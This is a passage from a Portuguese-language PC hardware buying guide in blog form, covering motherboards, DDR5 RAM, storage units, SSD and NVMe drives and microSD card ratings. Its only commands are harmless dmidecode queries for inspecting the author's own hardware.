<p>De curiosidade, já expliquei isso <a href="https://akitaonrails.com/2021/05/13/akitando-97-so-precisamos-de-640-kb-de-memoria-16-bits-ate-64-bits/"target="_blank" rel="noopener">neste video</a> mas, apesar da arquitetura ser 64-bits, note como endereços de memória são <strong>48 bits</strong>, porque nem existe forma em hardware de conseguir ter tanta RAM pra precisar de 64-bits. Então é mais eficiente economizar transistor e usar um endereço menor.</p>
<p>Também expliquei as nuances de se ter muitos cores e como Cache L3 influencia seu funcionamento no artigo de <a href="https://akitaonrails.com/2023/02/01/akitando-137-games-em-maquina-virtual-com-gpu-passthrough-entendendo-qemu-kvm-libvirt/"target="_blank" rel="noopener">GPU Passthrough</a></p>
<h3>Placas-mãe<span class="hx:absolute hx:-mt-20" id="placas-mãe"></span>
    <a href="#placas-m%c3%a3e" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Esse é outro buraco de coelho desgraçado. Eu mesmo tenho dificuldades de escolher. Cada modelo de CPU tem diversas opções de placa-mãe. Você tem que escolher uma que é compatível com sua CPU (que tem socket que encaixa, na prática) e, de preferência, quando sair a próxima versão de CPU, seja possível fazer upgrade.</p>
<p>Isso depende do ano em que está comprando. Se estiver no começo de um ciclo de arquitetura de CPU, ainda deve vir novas CPUs da mesma arquitetura por alguns anos. Se estiver no fim de um ciclo, arrisca comprar uma CPU e placa-mãe que vai ficar obsoleta no ano que vem. Quando quiser dar upgrade, vai ter que trocar os dois. Isso não tem guia, você tem que procurar o <strong>roadmap</strong> da Intel e AMD pra checar.</p>
<p>Por exemplo, ano que vem a Intel vai lançar a nova arquitetura <a href="https://www.tomshardware.com/pc-components/cpus/intel-confirms-arrow-lake-refresh-set-for-2026-nova-lake-later-that-year-company-admits-there-are-holes-to-fill-on-the-desktop-front-says-it-is-confident-in-the-roadmap"target="_blank" rel="noopener">Nova Lake</a> pra substituir o Arrow Lake. Possivelmente não vai funcionar em placas-mãe atuais, não sei ainda.</p>
<p>Notebooks você não tem esse problema porque não existe upgrade de CPU. Quando sair um novo, se troca o notebook inteiro mesmo.</p>
<p>Placas-mãe você começa escolhendo o <strong>FORMATO</strong>. O mais comum pra gabinetes de torre, aqueles que se vê no Instagram de gamers com RGB pra lá e pra cá costumam ser o tamanho grande, que é <strong>ATX</strong>.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913172430_Motherboard-Form-Factor-Size-Comparison.webp" alt="moba form-factor"  loading="lazy" /></p>
<p>Mas existem outros formatos. Tem um maior que é &ldquo;Extended ATX&rdquo;, tem um menor que é &ldquo;Micro-ATX&rdquo;, tem menor ainda que é &ldquo;micro-ITX&rdquo;. Eu nunca vi mas parece que ainda tem uma maior de todas que é &ldquo;XL-ATX&rdquo;. Mini-PCs que vem tudo integrado tem placas-mãe proprietárias de cada fabricante, como Minisforum ou Beelink, que vou falar na última seção mais pra baixo.</p>
<p>Quanto menor a placa-mãe, menos funcionalidades vai ter, em resumo costuma ser: menos slots de PCIe (acaba sobrando só uma pra GPU, normalmente). Menos slots de RAM.</p>
<p>Daí vai depender de que gabinete vai escolher, que espaço tem em cima ou embaixo da sua mesa. Na prática, se não entende nada disso, compre ATX. Vai dar menos dor de cabeça. Boas marcas de gabinete costumam ser Lian Li ou Fractal, mas tem dezenas por aí, tem que prestar muita atenção na montagem, encaixes, funcionalidades, etc. Tamanho de radiador de AIO, coolers, tamanho da placa-gráfica, etc.</p>
<p><strong>Mini-ITX</strong> é só pra quem sabe o que está fazendo. Eis um exemplo da Fractal:</p>
<p><a href="https://www.pcgamer.com/best-mini-itx-case/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913173009_QMNn4zsBtHPm5DRCMibZcE.jpg" alt="fractal mini-itx case"  loading="lazy" /></a>
Tem três problemas principais: não cabe qualquer placa-gráfica. não cabe qualquer fonte (power supply/PSU), precisa de muito mais ventilação/solução térmica (porque não tem espaço pra dissipar o calor dentro).</p>
<p>Alguém vai chegar e comentar <em>&ldquo;ah, só colocar resfriamento com água&rdquo;</em>. Não é tão simples assim.</p>
<p>Resfriamento a água (AIO) precisa de manutenção, usar bons líquidos de resfriamento (não necessariamente água, tem dissipadores melhores hoje). E depende do modelo, porque tem tanque de líquido, tem canos por onde esse líquido passa, portanto <strong>OCUPA MUITO MAIS ESPAÇO</strong>. Em um gabinete ATX funciona, em ITX raramente.</p>
<p>Além disso, veja o tamanho de uma RTX 5090:</p>
<p><a href="https://www.forbes.com/sites/antonyleather/2025/01/07/nvidias-rtx-5090-is-so-small-its-compatible-with-tiny-pc-cases/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913173748_960x0.jpg" alt="RTX 5090"  loading="lazy" /></a>
Essa é da <strong>MSI</strong>. Mas tem outros integradores como Gigabyte, Gamerock, Zotac, a Founders Edition da própria NVIDIA e outros. Cada um vai ter um formato e tamanho <strong>diferentes</strong>, precisa pesquisar exatamente o modelo, de qual fabricante, com qual gabinete que vai caber. Mesmo em gabinetes ATX, nem sempre cabe na horizontal. Além de ocupar o espaço de 2 slots (série 40) ou 3 slots (série 50) na vertical.</p>
<p>Além disso tem que pensar: você quer uma workstation de trabalho pra coisas como edição de video? Precisa ver se sua placa-mãe já vem com pelo menos Ethernet 2.5 Gbps, idealmente 10 Gbps. A maioria dos populares ainda está com o obsoleto 1 Gbps.</p>
<p>Pra maioria das pessoas, que só tem plano de internet abaixo de 1Gbps, não tem problema, nem vai saturar a banda. Mas quem trabalha com video precisa ter streaming de video PESADO, estou falando acima de <strong>100 GB por hora de video</strong>, múltiplos videos na timeline, tocando ao mesmo tempo. Menos em 2.5 Gbps fica difícil editar em tempo real de playback.</p>
<p>Se acabar comprando uma placa-mãe velha com 1 Gbps de Ethernet, vai precisa comprar uma placa de rede PCIe separada. Só que se estiver usando um formato mini-ITX, <strong>não vai ter espaço</strong> ou nem vai ter slot extra pra plugar isso. Por isso tem que planejar o uso com antecedência.</p>
<p>A minha é velha, é uma <strong>X670E AORUS XTREME</strong>:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913174531_D_NQ_NP_858736-MLU74688986203_022024-O.webp" alt="X670E"  loading="lazy" /></p>
<p>É formato ATX e tem quase todas as funcionalidades que preciso, incluindo porta Ethernet 2.5Gbps. Mas como eu quis colocar um roteador 10Gbps e também coloquei upgrade de 10Gbps no meu NAS <strong>Synology DS1821+</strong>, resolvi adicionar uma placa PCIe de Ethernet 10Gbps. Como é formato ATX, mesmo com minha RTX 4090 ocupando espaço de 2 slots na vertical, ainda sobra espaço embaixo.</p>
<p>Tem dúvida de qual é sua placa-mãe? Se estiver num Linux tem este comando:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">❯ sudo dmidecode -t baseboard
</span></span><span class="line"><span class="cl"><span class="c1"># dmidecode 3.6</span>
</span></span><span class="line"><span class="cl">Getting SMBIOS data from sysfs.
</span></span><span class="line"><span class="cl">SMBIOS 3.7.0 present.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Handle 0x0002, DMI <span class="nb">type</span> 2, <span class="m">15</span> bytes
</span></span><span class="line"><span class="cl">Base Board Information
</span></span><span class="line"><span class="cl"> Manufacturer: Gigabyte Technology Co., Ltd.
</span></span><span class="line"><span class="cl"> Product Name: X670E AORUS XTREME
</span></span><span class="line"><span class="cl"> Version: x.x
</span></span><span class="line"><span class="cl"> Serial Number: Default string
</span></span><span class="line"><span class="cl"> Asset Tag: Default string
</span></span><span class="line"><span class="cl"> Features:
</span></span><span class="line"><span class="cl">  Board is a hosting board
</span></span><span class="line"><span class="cl">  Board is replaceable
</span></span><span class="line"><span class="cl"> Location In Chassis: Default string
</span></span><span class="line"><span class="cl"> Chassis Handle: 0x0003
</span></span><span class="line"><span class="cl"> Type: Motherboard
</span></span><span class="line"><span class="cl"> Contained Object Handles: <span class="m">0</span>
</span></span><span class="line"><span class="cl">...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Acho que <code>sudo dmidecode -t system</code> faz a mesma coisa.</p>
<p>Tem as pequenas coisas também: Windows 11 costuma exigir a existência de um chip <strong>TPU 2.0</strong> que também costuma ser opcional na maioria dos modelos de placa-mãe. É bom ter, ou compre uma que já vem, ou compre separado e encaixe.</p>
<p>Alguns modelos não suportam overclocking. Se você for um entusiasta de tuning, tem que checar quais modelos suportam. Coisas como <strong>Secure Boot</strong>, é bom ter. Isso qualquer bom modelo tem, mas se estiver querendo escolher uma velha, pra economizar, cheque se tem.</p>
<p>O ideal é ter portas como Thunderbolt 4.0, USB 4.0, mas se tiver pelo menos USB 3 Gen 2, já ajuda. Nem toda USB 3 é igual!! Tem gerações diferentes! Só porque tem porta azul não quer dizer que é veloz. Vou falar disso depois.</p>
<p>Ideal ter Wi-fi embutido também, pra evitar ter que comprar uma placa ou USB separado. Mas cuidado, a maioria ainda oferece só o obsoleto Wi-Fi 5. Já estamos em <strong>Wi-fi 7</strong>, um Samsung Galaxy moderno já suporta, por exemplo. Mas como sempre, se está acostuma às baixas velocidades dos planos de internet que tem por aí, de fato, até Wi-fi 5 funciona. Mas se quiser transferir grandes arquivos entre seus computadores e celulares, vai querer um Wi-fi 7 mais moderno, no mínimo Wi-fi 6.</p>
<p>Também não adianta nada ter Wi-Fi 7 no seu PC mas continuar usando roteador que a Vivo, Claro, te deram. Essas porcarias que eles dão pra você são totalmente obsoletos, Wi-fi 5 no máximo. Eu mesmo uso um <strong>TP-Link BE9000 Wi-fi 7</strong> e desligo o roteador Wi-Fi da Vivo.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914031547_TP-Link-BE9300-Archer-BE550-Wi-Fi-7-Router-771x1024.webp" alt="TP-Link"  loading="lazy" /></p>
<h3>RAM DDR 5<span class="hx:absolute hx:-mt-20" id="ram-ddr-5"></span>
    <a href="#ram-ddr-5" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Outra coisa importante pra ver na sua CPU e sua placa-mãe é qual tipo de RAM eles suportam. Como já falei antes, se quiser uma workstation de ponta, vai querer uma que suporte RAM ECC. Na prática, pra maioria de nós, não precisa de ECC. Só é mais caro, pras raras vezes que um raio cósmico conseguir flipar um bit e crashear seu sistema (é muito, muito raro).</p>
<p>Mais importante é escolher DDR 5. Mas tanto DDR 5 ou DDR 4 tem variações, só pra continuar complicando sua vida. Memória também tem <strong>clock</strong>!</p>
<p>Acho que a DDR 4 o mais veloz é 3200Mhz, o mais comum ainda é 2666Mhz. PCs mais velhos que 2014 vão ser DDR 3!! Cuidado!</p>
<p>Já DDR 5 começa em 4800Mhz e vai até uns 6000Mhz.</p>
<p>Se estiver num Linux dá pra saber as informações da sua assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># dmidecode 3.6</span>
</span></span><span class="line"><span class="cl">Getting SMBIOS data from sysfs.
</span></span><span class="line"><span class="cl">SMBIOS 3.7.0 present.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Handle 0x0011, DMI <span class="nb">type</span> 16, <span class="m">23</span> bytes
</span></span><span class="line"><span class="cl">Physical Memory Array
</span></span><span class="line"><span class="cl"> Location: System Board Or Motherboard
</span></span><span class="line"><span class="cl"> Use: System Memory
</span></span><span class="line"><span class="cl"> Error Correction Type: None
</span></span><span class="line"><span class="cl"> Maximum Capacity: <span class="m">128</span> GB
</span></span><span class="line"><span class="cl"> Error Information Handle: 0x0010
</span></span><span class="line"><span class="cl"> Number Of Devices: <span class="m">4</span>
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">Handle 0x0016, DMI <span class="nb">type</span> 17, <span class="m">100</span> bytes
</span></span><span class="line"><span class="cl">Memory Device
</span></span><span class="line"><span class="cl"> Array Handle: 0x0011
</span></span><span class="line"><span class="cl"> Error Information Handle: 0x0015
</span></span><span class="line"><span class="cl"> Total Width: <span class="m">64</span> bits
</span></span><span class="line"><span class="cl"> Data Width: <span class="m">64</span> bits
</span></span><span class="line"><span class="cl"> Size: <span class="m">48</span> GB
</span></span><span class="line"><span class="cl"> Form Factor: DIMM
</span></span><span class="line"><span class="cl"> Set: None
</span></span><span class="line"><span class="cl"> Locator: DIMM <span class="m">1</span>
</span></span><span class="line"><span class="cl"> Bank Locator: P0 CHANNEL A
</span></span><span class="line"><span class="cl"> Type: DDR5
</span></span><span class="line"><span class="cl"> Type Detail: Synchronous Unbuffered <span class="o">(</span>Unregistered<span class="o">)</span>
</span></span><span class="line"><span class="cl"> Speed: <span class="m">6000</span> MT/s
</span></span><span class="line"><span class="cl"> Manufacturer: CORSAIR
</span></span><span class="line"><span class="cl">...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Isso vai listar informações de cada pente de memória conectado ao barramento da placa-mãe. Com esse output (que está cortado pra não ficar longo demais) dá pra concluir que eu tenho 2 pentes de memória, cada um com <strong>48 GB</strong> e <strong>6000 MT/s</strong> de velocidade.</p>
<p>Eles são <strong>Corsair Vengeance</strong>, não-ECC, dando um total de <strong>96 GB</strong> de RAM DDR 5. Eu poderia colocar 128 GB ou mais, mas até hoje nunca consegui saturar esse tanto de memória, então vai aguentar assim por muito tempo ainda.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914022843_corsair-vengeance-rgb-ddr5-32gb-2x16gb-ddr5-6000-cl36-36-36-76-135v-amd-expo-intel-xmp-grey.webp" alt="vengeance"  loading="lazy" /></p>
<p>Tem até RGB 🤣.</p>
<p>Pra maioria das pessoas eu diria que 16 GB é o novo mínimo e 32 GB é o &ldquo;sweet-spot&rdquo;. Pra programadores que precisa subir muitos containers Docker pesados, só aí iria pra 64 GB.</p>
<h2>&ldquo;Transfers&rdquo; != &ldquo;bytes&rdquo;<span class="hx:absolute hx:-mt-20" id="transfers--bytes"></span>
    <a href="#transfers--bytes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Um detalhe. Quando falamos em DDR 4 3200 ou DDR 5 6000, não é 6000 <strong>MB/s</strong> e sim 6000 <strong>MT/s</strong>.</p>
<p>Eu odeio essa unidade, mas isso são &ldquo;<strong>Mega Transfers</strong> por segundo&rdquo;. Quando falei de PCI Lanes, também é uma pegadinha. PCIe 5.0 diz ter 32 GT/s (32 <strong>Giga TRANSFER</strong>/segundo). Vamos traduzir.</p>
<blockquote>
  <p>&ldquo;Transfers&rdquo; se refere a quantos símbolos crús (que não equivale a 1 byte) dá pra transmitir por segundo. No caso de PCIe lanes, eles são seriais, então 1 transfer é 1 símbolo pelo fio físico. Mas 1 transfer não é 1 byte!</p>

</blockquote>
<p>No caso de PCIe Lanes:</p>
<ul>
<li>PCIe 3.0 - 8 GT/s aproximadamente 985 MB/s por lane</li>
<li>PCIe 4.0 - 16 GT/s aproximadamente 1.9 GB/s por lane</li>
<li>PCIe 5.0 - 32 GT/s aproximadamente 3.9 GB/s por lane</li>
</ul>
<p>Pra começar DDR significa <strong>Double-Data-Rate</strong>, onde dados são transferidos nas duas bordas de cada clock. Portanto:</p>
<ul>
<li>6000 MT/s é 3000 Mhz</li>
<li>DDR 5 6000 é 3000 Mhz</li>
<li>DDR 4 3200 é 1600 Mhz</li>
</ul>
<p>Por que diabos se fala nessa unidade idiota de &ldquo;mega-transfers&rdquo; ou &ldquo;giga-transfer&rdquo;? Única e exclusivamente pra <strong>marketing</strong>, porque é o número maior. E consumidor é burro, ele escolhe o número maior.</p>
<h3>&ldquo;GIBI-bytes&rdquo; != &ldquo;GIGA-bytes&rdquo;<span class="hx:absolute hx:-mt-20" id="gibi-bytes--giga-bytes"></span>
    <a href="#gibi-bytes--giga-bytes" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O marketing não acaba em &ldquo;transfers&rdquo;. Já notou que você compra um SSD de <strong>1 TERABYTE</strong> mas quando pluga no Windows ele te fala que tem só uns &ldquo;<strong>931 GB</strong>&rdquo;?? Onde foram parar os outros 69 GB??</p>
<p>No mundo normal de computação, nós medimos dados na base 2. Portanto 2^10 = 1024. Se a unidade básica for &ldquo;byte&rdquo; então 1024 bytes é 1 KILO-byte. 2^20 é 1 MEGA-byte e 2^30 é 1 GIGA-byte.</p>
<p>Qualquer programador iniciante entende isso. Mas a população em geral não, então todo fabricante de HDs, SSD, NVME e qualquer tipo de &ldquo;storage&rdquo; resolveu mudar tudo e dizer o seguinte:</p>
<ul>
<li>1 KB = 1000 bytes</li>
<li>1 MB = 1000^2 = 1.000.000 bytes</li>
<li>1 GB = 1000^3 = 1.000.000.000 bytes</li>
</ul>
<p>E a unidade correta, que seria KILOBYTE ou MEGABYTE eles renomearam pra essa coisa <strong>HORRENDA</strong> que é &ldquo;KIBI-BYTE&rdquo; ou &ldquo;MIBI-BYTE&rdquo; ou &ldquo;GIBI-BYTE&rdquo;. E eu só tenho a dizer:</p>
<blockquote>
  <p>&ldquo;KIBI&rdquo; de cú é rola!!!</p>

</blockquote>
<p>Mas o marketing vai te dizer:</p>
<ul>
<li>1 KiB = 1024 bytes</li>
<li>1 MiB =1024^2 = 1.048.576 bytes</li>
<li>1 GiB = 1024^3 = 1.073.741.824 bytes</li>
</ul>
<p>Por isso que você compra um HD de 1 TB e o Windows (corretamente) diz 931 GiB. Pelo menos RAM e velocidade de rede tendem a ser as unidades binárias reais, então quando você compra um pente de &ldquo;16 GB&rdquo;, na linguagem do marketing você comprou &ldquo;16 GiB&rdquo; mesmo. E quando falamos rede de 1 Gbps estamos falando de 1 GiB/s. Só armazenamento que é essa putaria.</p>
<h3>HDs vs SSDs vs NVME<span class="hx:absolute hx:-mt-20" id="hds-vs-ssds-vs-nvme"></span>
    <a href="#hds-vs-ssds-vs-nvme" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Falando em armazenamento, precisa entender o seguinte:</p>
<ul>
<li>HDs mecânicos ainda existem, tem bom custo benefício, são confiáveis e razoavelmente velozes. Os melhores HDs são pau a pau com um SSD médio, porque no final ambos vão saturar o mesmo barramento, que é SATA.</li>
<li>Se quiser realmente alta-performance, você vai usar NVMEs, que se ligam diretamente ao barramento PCIe 4.0 ou 5.0 da sua placa-mãe. Mas são bem mais caros.</li>
</ul>
<p>Vamos lá:</p>
<ul>
<li>HDs mecânico é uma tecnologia que começou lá nos anos 50, quando poucos kilobytes precisavam de um rack inteiro do tamanho de um servidor inteiro de hoje. Como os Phoenix que você pode ver no canal do Usagi Electric.</li>
</ul>
<p><a href="https://www.youtube.com/watch?v=IsgRKPPOMZI"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913183146_screenshot-2025-09-13_18-31-35.png" alt="Phoenix"  loading="lazy" /></a></p>
<ul>
<li>Os HDs mais velozes de hoje são de <strong>7200 RPM</strong> (rotações dos discos por minuto) e velocidades que variam de 150 a 200 MB/s, com latência de 1 a 2 ms. A vantagem é que eles oferecem grandes volumes a preços atrativos (eu tenho vários de 20 TB no meu NAS). Mas a velocidade realmente não é mais moderno.</li>
</ul>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913184838_st20000nt001-seagate-hd-interno-sata-20tb-7200-rpm-ironwolf-pro-7dcb4490-jxvnesfrs7.webp" alt="HD Ironwolf"  loading="lazy" /></p>
<ul>
<li>SSDs nasceram no fim dos anos 2000, Solid-State Drives porque não tem partes móveis, são como chips de RAM persistentes. Elas se conectam ao mesmo tipo de barramento que HDs mecânicos: <strong>SATA III</strong> (Serial ATA) e oferecem velocidade na faixa de 500 a 550 MB/s sequencial. O dobro de HDs mecânicos. E tem a vantagem de facilmente poder substituir um HD mecânico no mesmo barramento e ser compatível. Mas é isso: o teto é 550 MB/s.</li>
</ul>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913184704_20-147-798-V01.webp" alt="SSD Samsung"  loading="lazy" /></p>
<ul>
<li>
<p>NVMEs SSD muitos confundem porque também podem ser chamados de &ldquo;SSDs&rdquo;, afinal são &ldquo;solid-state&rdquo; mas de tecnologias diferentes. O correto seria dizer &ldquo;SSD SATA&rdquo; e &ldquo;SSD NVME&rdquo;. NVME significa <strong>Non-Volatile Memory Express</strong>, que pra maioria das pessoas não quer dizer nada mesmo.</p>
</li>
<li>
<p>NVMEs se ligam ao barramento PCIe, portanto o teto é a velocidade dos lanes de PCIe como falei antes. Em PCIe 3.0 o teto vai ser 3.5 GB/s (que já é 6x mais veloz que o mais veloz SSD SATA III). Em PCIe 5.0 o máximo teórico é 13 a 14 GB/s (muito difícil atingir tudo isso, a maioria fica na faixa dos 5GB/s mesmo). A latência cai de &ldquo;ms&rdquo; pra &ldquo;µs&rdquo; (milissegundo vs MICROssegundo).</p>
</li>
</ul>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913184737_Samsung_980_PRO_PCIe_4.0_NVMe_SSD_1TB-top_PNr%c2%b00915.webp" alt="NVME"  loading="lazy" /></p>
<p>Ou seja SATA III está preso na faixa das centenas de MEGAbytes por segundo, já NVME sobe pra quase dezena de GIGAbyte por segundo. É uma ordem de grandeza de <strong>70x</strong>.</p>
<p>Vamos entender mais na prática:</p>
<ul>
<li><strong>PCIe 3.0 x4</strong> (2015-2020) ~3.0 a ~3.5 GB/s (Samsung 970 EVO Plus, WD Black SN750)</li>
<li><strong>PCIe 4.0 x4</strong> (2020-2023) ~6 a 7.5 GB/s (Samsung 980 PRO, WD SN850X, Crucial P5 Plus)</li>
<li><strong>PCIe 5.0 x4</strong> (a partir de 2023) ~10 a 12GB/s em <em>pico</em>, não média (Crucial T700, Corsair MP700, Gigabyte Aorus Gen5 10000)</li>
</ul>
<p>Entenda que essas velocidades são pra leitura <strong>sequencial</strong> de arquivos grandes e não pra leituras ou escritas <strong>aleatórias</strong> de arquivos pequenos. A velocidade diminui DRAMATICAMENTE em uso do dia a dia de verdade com arquivos pequenos.</p>
<p>Mesmo em 2025 ainda não é comum NVMEs PCI 5.0, todo mundo ainda usa <strong>NVMEs PCIe 4.0</strong>, portanto a velocidade máxima que se encontra hoje é na faixa dos 7 GB/s, mais comum perto dos 5 GB/s, que são os Samsung 980 PRO / 990 PRO, WD Black SN850X, Crucial P5 Plus / P3 Plus ou similares.</p>
<p>Mesmo com uma CPU e placa-mãe que suporte PCIe 5.0, você ainda vai plugar NVME PCIe 4.0 (não tem problema, porque são retro-compatíveis). Mas não espere conseguir essa faixa acima de 10 GB/s sem pagar MUITO CARO. Simplesmente não compensa.</p>
<p>Muita gente ainda usa SSD: <strong>fique longe dos genéricos</strong> sem marca e baratos demais da AliExpress. É super comum ser só um adaptador de microSD card. E também não gosto de Kingston, essa marca já me deu muita dor de cabeça. Fique com marcas confiáveis como Samsung, Sandisk, Crucial, Western Digital e coisas assim.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913185340_8tb-ssd-scam1-f849be8d05152279ce7ebb06c7b4a84c.webp" alt="SSD SCAM"  loading="lazy" /></p>
<p>Eu mesmo comprei um desses só pra demonstrar esse <strong>GOLPE</strong>, pelo Mercado Livre e postei stories no meu Instagram na época. É fácil de identificar: <strong>são excessivamente baratos</strong>. Acho que depois disso o MercadoLivre tentou ser mais esperto pra não vender isso, mas no AliExpress sempre tem.</p>
<p>Tem mais: NVMEs tem <strong>diferentes tamanhos</strong>:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913184910_m2-ssd-sizes.webp" alt="NVME sizes"  loading="lazy" /></p>
<p>NVMEs se conectam no tal <strong>slot M2</strong> na placa-mãe. É um slot que dá acesso direto ao barramento PCIe, normalmente x4 (4 lanes).</p>
<p>O modelo mais comum é o <strong>2280</strong>. É o que a maioria dos PCs suporta. Mas dependendo do notebook, ou se for um handheld como o primeiro <strong>Asus Rog Ally</strong> e acho que também o Steam Deck, vai precisar de tamanhos menores como os modelos <strong>2242</strong> ou <strong>2230</strong>.</p>
<p>É um trade-off de tamanho físico por capacidade. <strong>2242</strong> se não me engano, tem capacidade máxima de 2 TB. Eu gosto de 4 TB ou 8 TB então precisa ser pelo menos um <strong>2280</strong>.</p>
<p>Tem mais problemas: marcas &ldquo;baratas&rdquo; são baratas porque tiram alguns componentes como <strong>DRAM</strong>. Pra funcionar rápido, precisa existir uma memória RAM pra servir e buffer e cache. Além disso, modelos baratos tem controladores porcaria. E isso diminui não só a velocidade, como a vida útil dos chips.</p>
<p>Não use modelos baratos, eles são proporcionalmente piores e vão ou corromper seus dados ou morrer cedo. Não existe almoço grátis. Novamente, fique com marcas conhecidas como Samsung. Samsung sempre é confiável.</p>
<h3>MicroSD Cards<span class="hx:absolute hx:-mt-20" id="microsd-cards"></span>
    <a href="#microsd-cards" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Mesma coisa: <strong>todo microSD sem marca ou barato é golpe</strong>. Ele não tem a capacidade que anuncia, quando bate num teto começa a sobrescrever os dados do começo. Não confie.</p>
<p>Só compro Samsung. Mas não é tão simples assim. Lembra os caras do <strong>marketing</strong> dos TIBI-BYTES?? Pois é, eles atacam pra valer em microSD. Existem 3 diferenças: classes (capacidade), velocidade do barramento (BUS), notas de velocidade (Speed), confiabilidade! Sim! Vamos entender:</p>
<ol>
<li><strong>Classes de Capacidade</strong></li>
</ol>
<ul>
<li><strong>SDSC</strong> (Standard Capacity): up to 2 GB (<strong>obsoleto</strong>).</li>
<li><strong>SDHC</strong> (High Capacity): 2–32 GB.</li>
<li><strong>SDXC</strong> (Extended Capacity): 32 GB–2 TB.</li>
<li><strong>SDUC</strong> (Ultra Capacity): up to 128 TB (<strong>não comum ainda</strong>).</li>
</ul>
<ol start="2">
<li><strong>Bus Interface</strong></li>
</ol>
<ul>
<li><strong>UHS-I</strong>: up to 104 MB/s.</li>
<li><strong>UHS-II</strong>: up to 312 MB/s (linha extra de pinos).</li>
<li><strong>UHS-III</strong>: up to 624 MB/s (raro).</li>
<li><strong>SD Express</strong> (PCIe/NVMe): teórico ~985 MB/s+ (ainda nicho).</li>
</ul>
<ol start="3">
<li><strong>Speed Ratings</strong></li>
</ol>
<ul>
<li>Speed Class (<strong>C</strong>): C2 (2 MB/s), C4, C6, C10.</li>
<li>UHS Speed Class (<strong>U</strong>): U1 (10 MB/s), U3 (30 MB/s).</li>
<li>Video Speed Class (<strong>V</strong>): V6 → V90 (6–90 MB/s, sustentado).</li>
</ul>
<ol start="4">
<li><strong>Application Class (A)</strong></li>
</ol>
<ul>
<li><strong>A1</strong>: ≥1500 IOPS read, ≥500 IOPS write, 10 MB/s sustentado.</li>
<li><strong>A2</strong>: ≥4000 IOPS read, ≥2000 IOPS write, 10 MB/s sustentado.</li>
</ul>
<ol>
<li><strong>Níveis de Confiança</strong></li>
</ol>
<ul>
<li>Consumer grade: pra câmera e fones (o mais comum).</li>
<li>High Endurance: pra escrita contínua (dashcams, câmeras de segurança).</li>
<li>Industrial grade: suporta range maior de temperatura, desgasta menos, muito mais caro.</li>
</ul>
<p>Na prática, procure sempre <strong>SDXC</strong>, <strong>UHS-II</strong> (ou UHS-I que é mais comum), <strong>V90</strong> (mais comum é abaixo de V30 mesmo). É isso que significa esse malditos códigos escritos num microSD:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913190622_microsd.jpeg" alt="samsung microsd"  loading="lazy" /></p>
<p>Esse da foto da Samsung tem capacidade de 512GB, classe SDXC, barramento UHS-I (até 90 MB/s), velocidade U3 (30MB/s) (é esse ícone de um 3 dentro do U na imagem). Feito pra funcionar bem em câmeras ou fones ou handhelds da vida. Menos que isso é <strong>ruim</strong>.</p>
<p>Outro exemplo:</p>
